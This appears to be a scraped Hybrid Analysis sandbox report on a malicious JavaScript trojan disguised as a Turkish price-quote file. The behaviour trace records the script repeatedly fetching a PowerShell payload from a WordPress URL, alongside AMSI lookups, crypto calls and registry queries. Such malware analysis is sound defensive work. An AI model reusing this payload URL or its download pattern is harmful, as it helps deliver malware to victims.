Briefly unavailable for scheduled maintenance

34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 48:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4b2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 497f188df761… — Score 63/100 — Hybrid Analysis","description":"Malicious verdict for sample 497f188df761…. Malware family: Trojan.Generic. Threat score 63/100. 5/27 AV engines flagged this file. 2 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/497f188df761d422f0f96d90022ca8faf07854d73c299e6ef6fcfffd432005d5","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","497f188df761d422f0f96d90022ca8faf07854d73c299e6ef6fcfffd432005d5"],"about":{"@type":"SoftwareApplication","name":"FIYATTEKLIFISTEGI_TF-2610280002-00_28102026IMP-STF-0285-26.js","applicationCategory":["script","javascript"],"identifier":"497f188df761d422f0f96d90022ca8faf07854d73c299e6ef6fcfffd432005d5","additionalType":"Malicious sample"},"threatScore":63,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":5,"total":27},"behavioralIndicators":{"malicious":2,"suspicious":5},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T4f0,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "WScript.exe" (Access type: "OPEN"; Path: "HKLM") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\FEATUREDEVELOPMENTPROPERTIES") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\APPMODEL\LOOKASIDE\PACKAGES")37:T59b,Script name: C:\FIYATTEKLIFISTEGI_TF-2610280002-00_28102026IMP-STF-0285-26.js contents: IFileSystem3.FolderExists("C:\Temp\"); IFileSystem3.CreateFolder("C:\Temp\"); IServerXMLHTTPRequest2.open("GET", "https://kronemedia.de/wp-content/plugins/wpqlxeq/1KMK1.ps1", "false"); IServerXMLHTTPRequest2.send(); Script name: C:\FIYATTEKLIFISTEGI_TF-2610280002-00_28102026IMP-STF-0285-26.js contents: IFileSystem3.FolderExists("C:\Temp\"); IFileSystem3.CreateFolder("C:\Temp\"); IServerXMLHTTPRequest2.open("GET", "https://kronemedia.de/wp-content/plugins/wpqlxeq/1KMK1.ps1", "false"); IServerXMLHTTPRequest2.send(); IServerXMLHTTPRequest2.status(); IServerXMLHTTPRequest2.open("GET", "https://kronemedia.de/wp-content/plugins/wpqlxeq/1KMK1.ps1", "false"); IServerXMLHTTPRequest2.send(); Script name: C:\FIYATTEKLIFISTEGI_TF-2610280002-00_28102026IMP-STF-0285-26.js contents: IFileSystem3.FolderExists("C:\Temp\"); IFileSystem3.CreateFolder("C:\Temp\"); IServerXMLHTTPRequest2.open("GET", "https://kronemedia.de/wp-content/plugins/wpqlxeq/1KMK1.ps1", "false"); IServerXMLHTTPRequest2.send(); IServerXMLHTTPRequest2.status(); IServerXMLHTTPRequest2.open("GET", "https://kronemedia.de/wp-content/plugins/wpqlxeq/1KMK1.ps1", "false"); IServerXMLHTTPRequest2.send(); IServerXMLHTTPRequest2.status(); IServerXMLHTTPRequest2.open("GET", "https://kronemedia.de/wp-content/plugins/wpqlxeq/1KMK1.ps1", "false"); IServerXMLHTTPRequest2.send(); 38:T95e,"WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "224718072e5360ca3e43ceb29b63272269a22488a1cc464ea8d3892bcb3068ca8923f23816057276d63c205eefb8ce800e41970b151b910bda1c8b834325633689bc47994462c81848e7f7583626e16e9f3578255b8d27547633392aef2817d131da889684368963ad8e434612f50ac75fce21040432bbdc6d0a5026e88c22dbd8a3dda882a22747d4bfa1879f4c769c3660be04b9c4531417c2935475a2e3674d629b16ca2eceba0ce58b0afb86ba5ca167f7e1ce890f382a52d4b43205ebe21907667e61167ccc0572a28f9c8fd5e3dcabca5db1b0a0a2fa55a96a0cc7d1c2b3dad284323de83523b0997a4336d73a2a5342dc9961b0e4eb052b02e4384cea63252118f700f8550bc6acc1cd9be42bc10ba1804e1dcf629002ecb3b40a15f062deab1f5fd3150eea21018055b3fa78342723a77300ecb2b0a867d1ec8e2e08612f22043e5f02f8a3ef24dc87c0e271e6d51a2f489fd68e07aa48f4bb0efe68517f9b6dccaaaf106ad5520c53"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "0e2af5488a63dd2fe847933e8fd93fccdd3b17629c188a2b5d990a3fc5a3636f240c95eefb333b990c847b19ea9389d7fd7465c7587c116c8dca3cc392356d48eaea25f95ed5d3186d392a754b889974229f09a9f490e35b2385fe3b671da90fc635b9d7e0a8e73b6671a97786cc40aa55eac17c22199c46eb97cdea924f3daf10731225231e242ef0ab986036f53de9ed339b2759b95a23d8e090fecef8702469ca74ddb69e8a50c08b8ac30b95cec245ecb31d492040fa953b5c7e7fe7c072a7b66e078089a1f26f523e228fad8c8a807fa7d02d19a03ea8bc88cb6aad1e6d8580d1485a03f8f3593dd5812fafdbdec514b3dea072fcd97198e755c95b4ed7f242f5b2551494c37b7c31ddf625e6dc3110166ec3bd938673275090b8885f1039c0472d25501e869f6b988ec27a2f6760164f91ba129b0a0813498f976cb1977a7e5c49b1792282b1ec7b9b9c1696b7b99caae9d2d4702bd95ec3a8b354e9383ead54bbf71772bf0a906400b7"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "b99b61eaca16ba7ef2645786860bca01bf1d15b939026ec84cbf6f9a298c6b3b7f953e5ffa78c5d038041c7503803b8137ef7e4e115d5e6f6f8deec95ce142ffac124430a4418cef1162f174814d7537b2aaaddc86eb3822a6bdbb15931641e9a8f9b384e6138ed0ac830ab588dcb7577074c459bf4dff5998cc03d74a0cb74ede1afdbbf4707e23085cbdfde639c9293c3b8610e9682018cba5f53103be7c6b62971ad0b748269d359cd55e895f3e8064a91b60628f7c25a0efb33e2b3f8fa544b3672b8e540ce6bc60a74fecf54a46c964c83fbb5130fd3b7fe368c9729616a46f2b8e15b3e850c537c41f85ec9e2889deb0378002a975ada319a2f095977e3b6e6f0ed79d089df1be3879035ce499e837d8f001b2bb624971dd801811c55605350f47117df12d8607e5408e1871a697698d8949332888cd23ebdef6a22a42fc0b727e32a2dd7c46c4863d85e3c2fe801dc5489810fb1b345d3864cd7f2884a27b9dfb6a625f7393d8597e3a"}39:T1c32,"WScript.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1eb73a1c4a0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a0899f73eb010000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "WScript.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1eb73a1b500" "pszBlobType": "RSAPUBLICBLOB" "phKey": "60aa9b73eb010000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "WScript.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "1eb73a1b9b0" "pszBlobType": "OpaqueKeyBlob" "phKey": "8071a273eb010000" "pbKeyObject": "be0c000052555555b0b9a173eb010000a071a273eb0100000000000000000000800c00004b53534d02000100050000001000000001000000800000000100000080ab9b73eb01000000000000000000000000000000000000100000005d1f15fb6ee6386f9ede5ae4618c29c800000000000000000000000000000000000000005d1f15fb6ee6386f9ede5ae4618c29c838bafd14565cc57bc8829f9fa90eb65791f4a6c7c7a863bc0f2afc23a6244a74a32234e3648a575f6ba0ab7ccd84e108f4da045e90505301fbf0f87d36741975760e995be65eca5a1dae32272bda2b5201ff99aae7a153f0fa0f61d7d1d54a8542290e94a5885d645f873cb38e527636c2110b8d679956e9381e6a5ab64c1c6cf08d5bc397140d2aaf0a677019467b1c9cacc7170bb8ca3da4b2ad4dbdf4d6511c95660a272dee40a6761173d7acc586bda8de9e3bb8884a815bff3371dad4f5879d32d9861056d4bae37779f0812bc64f835657018d640d3cf321ad4a625cbf0a698a534e0e325a3d7e45a076917d12bca2a4ce4467b809737077fa4bef38b200f73b9af8c51cc73717cff3389f4f48a3b89c83f832275dcfd2d3340f8880bb00a413dc5b8abbde37e0f469c05a538f5d1f15fb6ee6386f9ede5ae4618c29c80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a072a273eb0100004073a273eb01000000000000000000000000000000000000da26a50ddd93084397a77a6b653854c44d81df66b8ab5c8797a77a6b653854c401080c42a30150ec3c6609e8c1b64d843d6e05aa62b71d683c6609e8c1b64d8477acd2835c6b0b41ea27387839ef40d39d8beafb65844b92ea27387839ef40d3a30ac9685b10ce041fcb2b8a665ba1b1bcc1e2e23d4b6fb51fcb2b8a665ba1b1a6efa122cc16e75c3e2c194b01edca2498c3b869cdfb2d783e2c194b01edca2469dde3f74a448d8b9fa5160aeca4e110f678f5fda6e06c9b9fa5160aeca4e11039f557297ac404b8ff5cac6e63ceeef1c6a9fb47190aea49ff5cac6e63ceeef1b7fd652428d1392200130e7195111270b7ee6b55bdc02b5200130e7195111270d364c737d62a57f46e7b1fac02870c0abd1fd89bd4ad5bfe6e7b1fac02870c0a8e31245b91fd946e9b89107fed379d5f15b834247cca09319b89107fed379d5f77f6105ec01526c20f20e42252e3403b78d6f47c92f666f90f20e42252e3403b18703cc6750169c40fd05874d8dde40517a064b2addc8dc10fd05874d8dde4058ffab27266cde3c25a2d5a93ea038ecf" "cbKeyObject": "3262" "pbInput": "300200004b53534d02000100050000001000000080000000100000005d1f15fb6ee6386f9ede5ae4618c29c800000000000000000000000000000000000000005d1f15fb6ee6386f9ede5ae4618c29c838bafd14565cc57bc8829f9fa90eb65791f4a6c7c7a863bc0f2afc23a6244a74a32234e3648a575f6ba0ab7ccd84e108f4da045e90505301fbf0f87d36741975760e995be65eca5a1dae32272bda2b5201ff99aae7a153f0fa0f61d7d1d54a8542290e94a5885d645f873cb38e527636c2110b8d679956e9381e6a5ab64c1c6cf08d5bc397140d2aaf0a677019467b1c9cacc7170bb8ca3da4b2ad4dbdf4d6511c95660a272dee40a6761173d7acc586bda8de9e3bb8884a815bff3371dad4f5879d32d9861056d4bae37779f0812bc64f835657018d640d3cf321ad4a625cbf0a698a534e0e325a3d7e45a076917d12bca2a4ce4467b809737077fa4bef38b200f73b9af8c51cc73717cff3389f4f48a3b89c83f832275dcfd2d3340f8880bb00a413dc5b8abbde37e0f469c05a538f5d1f15fb6ee6386f9ede5ae4618c29c80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000000000000000000000000000000000000000000000000000" "cbInput": "560" "dwFlags": "0"} "WScript.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "1eb73a1b9b0" "pszBlobType": "OpaqueKeyBlob" "phKey": "c07ea273eb010000" "pbKeyObject": "be0c000052555555b0b9a173eb010000e07ea273eb0100000000000000000000800c00004b53534d02000100050000001000000001000000800000000100000080ab9b73eb010000000000000000000000000000000000001000000010d94dcf8dcb317cf7b1401b95d184fb000000000000000000000000000000000000000010d94dcf8dcb317cf7b1401b95d184fb2f8642e5a24d739955fc3382c02db779f52ff45f576287c6029eb444c2b3033d9c54d37acb3654bcc9a8e0f80b1be3c53b457551f07321ed39dbc11532c022d091d6057261a5249f587ee58a6abec75a1f10bb707eb59fef26cb7a654c75bd3fc26ace59bcdf51b69a142bd3d66196ecadfa00af112551198b317aca5d50ec26e534f7e3f411a6fa7f20dc30227030168230b0707621168a0901caba2b71faaca36f202970e34b6127dff9b2378acd04f823be9dd38c6b48573cb2d3105534b6652917642bafd5d584b0d99b4769866519782e8b4e86c2b1af1f0c4ec3d95ffed26626a257feec3ae199ceff6cc653b058c9a2698598ca98b66722c58d5f9d4f74bdf951dd5168f133ffe85d3b38bf8a8a8d691fa9ec91a0eeae80ac08c757d7b7fcc6832361f8bf4742110ce669d77b10d94dcf8dcb317cf7b1401b95d184fb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e07fa273eb0100008080a273eb01000000000000000000000000000000000000df3f0e3e3859960d9004dfea9e27b6124f3bd1d4a67e201f9004dfea9e27b612108c605d7df2cba5dd0b0c639aac7a88cd876c3ee75eb12ddd0b0c639aac7a88a1504014380ff6d1be9c2309165d10aa1fcc631d2e52e67bbe9c2309165d10aa26e153e1f0f214d786a77ac82437ab6fa0462929d4c5bfb886a77ac82437ab6fef372e9202f802a5fefbba2a33ae368111cc94b831563424fefbba2a33ae3681bb6564b94a703e035ddb7672e25247b4e6be12cba82279b75ddb7672e25247b486c27478c085b40e2287ac04a7b3d88fa445d87c67366c812287ac04a7b3d88f0e0a79cb4195d377f4ccf09e365ffb9efac6895577ca28e9f4ccf09e365ffb9e344005dcac2b8ac67b50129447c9eb364f101748ebe261f07b50129447c9eb362ca92bf74f9402fa040a9d4c26ce81e528a3b6bb695a831f040a9d4c26ce81e5d74fdd7d9d97d7453e60d1320e180394e92f0c4f938fd4d13e60d1320e180394da0ae1d440987ed6a790dc4769b905707d9a3d9329217ba6a790dc4769b90570b62f5de756ffaeef878e6e9336543b9d" "cbKeyObject": "3262" "pbInput": "300200004b53534d020001000500000010000000800000001000000010d94dcf8dcb317cf7b1401b95d184fb000000000000000000000000000000000000000010d94dcf8dcb317cf7b1401b95d184fb2f8642e5a24d739955fc3382c02db779f52ff45f576287c6029eb444c2b3033d9c54d37acb3654bcc9a8e0f80b1be3c53b457551f07321ed39dbc11532c022d091d6057261a5249f587ee58a6abec75a1f10bb707eb59fef26cb7a654c75bd3fc26ace59bcdf51b69a142bd3d66196ecadfa00af112551198b317aca5d50ec26e534f7e3f411a6fa7f20dc30227030168230b0707621168a0901caba2b71faaca36f202970e34b6127dff9b2378acd04f823be9dd38c6b48573cb2d3105534b6652917642bafd5d584b0d99b4769866519782e8b4e86c2b1af1f0c4ec3d95ffed26626a257feec3ae199ceff6cc653b058c9a2698598ca98b66722c58d5f9d4f74bdf951dd5168f133ffe85d3b38bf8a8a8d691fa9ec91a0eeae80ac08c757d7b7fcc6832361f8bf4742110ce669d77b10d94dcf8dcb317cf7b1401b95d184fb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000000000000000000000000000000000000000000000000000" "cbInput": "560" "dwFlags": "0"}3a:Tfbc,Contains base64 string in header "Language" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive" Contains base64 string in header "usUA" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive" Contains base64 string in header "Host" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive" Contains base64 string in header "deConnection" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /wp-content/plugins/wpqlxeq/1KMK1.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: kronemedia.deConnection: Keep-Alive"3b:Tc51,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004236) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004236) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000070074770eb010000101978daf87f00000000000000000000000042d9f87f00000000000000000000ee26ddd7f87f0000070000000000000060cd2fef1100000060cd2fef11000000400eebd7f87f0000000042d9f87f00007b6322d8f87f0000030000000000000000000000000000009200000000000000a004b2d9f87f000050cd2fef11000000bb5fddd7f87f00000d000000f87f0000a004b2d9f87f000092000000000000000000000000000000a004b2d9f87f00001c5bddd7f87f0000000000000000000092000000000000000d000000f87f00000d00000000000000aa00000000000000d24553d9f87f0000a03a58d9 (UID: 00000000-00004236) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000080854270eb010000e4932fef1100000000020000030000000000000000000000f8214970eb01000058942fef110000002300240000000000000000000000000000000000000000008503fe7f00000000e0952fef1100000088d24870eb01000040d24870eb010000f0dd4670eb010000f800c5aef87f0000cf2a79daf87f0000f0dd4670eb01000080024770eb010000000000000000000040d24870eb010000385db5dceb01000088d24870eb01000000000000000000000000c5aef87f0000010000000000000070f2c6aef87f0000000000000000000001000000000000000100000000000000c6ecc6aef87f000000000000 (UID: 00000000-00004236) "WScript.exe" called "RtlGetVersion" with parameter 240100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004236)3c:T8c8,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a00000200000000000000000095b8f67f00000000000000000000180000000000000000000000000000000000000000000000b72c3b21c2a600001baf80b5f5330000000095b8f67f00003abd11b1f87f000006000000110000001f000000000000000100000000000000000000000000000006000000000000000000000000000000000095b8 (UID: 00000000-00004236) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a0000020000000000000000000272eb01000000200000000000004ac024daf87f0000a0ed2fef110000002e7e24d8f87f000002000000000000000000000000000000701d000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000010ee2fef110000004a5c96b8f67f000040ed2fef (UID: 00000000-00004236) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026abbbf87f000000010000000000003826abbbf87f00000000000000000000409d76d8f87f000000000000000000000001000000000000800f4770eb01000000004cd9f87f000001000000000000002f19aabbf87f000000000000000000003826abbbf87f000013cc3f70 (UID: 00000000-00004236) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f00009c3351bbf87f0000203f51bbf87f00000200000000000000203f51bbf87f000002000000000000000300000000000000b13351bbf87f0000383654bbf87f0000e0db6370eb010000f0db6370eb010000000051bbf87f0000010000000000000053a578d8f87f00000000000000000000c0ab53bbf87f000000101a00 (UID: 00000000-00004236) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000b0454dbbf87f000040594dbbf87f00005fb21fd8f87f000040594dbbf87f00000a000000000000000b00000000000000c5454dbbf87f000030eb4fbbf87f0000e4e825d8f87f00001853fb72eb01000000004dbbf87f0000010000000000000053a578d8f87f00000100000000000000f4394dbbf87f000000a00000 (UID: 00000000-00004236) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f000000000000000000000100000000000000c05f44baf87f00000001000000000000b85f44baf87f00000000000000000000409d76d8f87f0000000000000000000000010000000000000000000000000000000049cbf87f00000100000000000000df1043baf87f00000000000000000000b85f44baf87f0000c0932fef (UID: 00000000-00004236)3d:T4ed,"WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")3e:T1705,"WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns 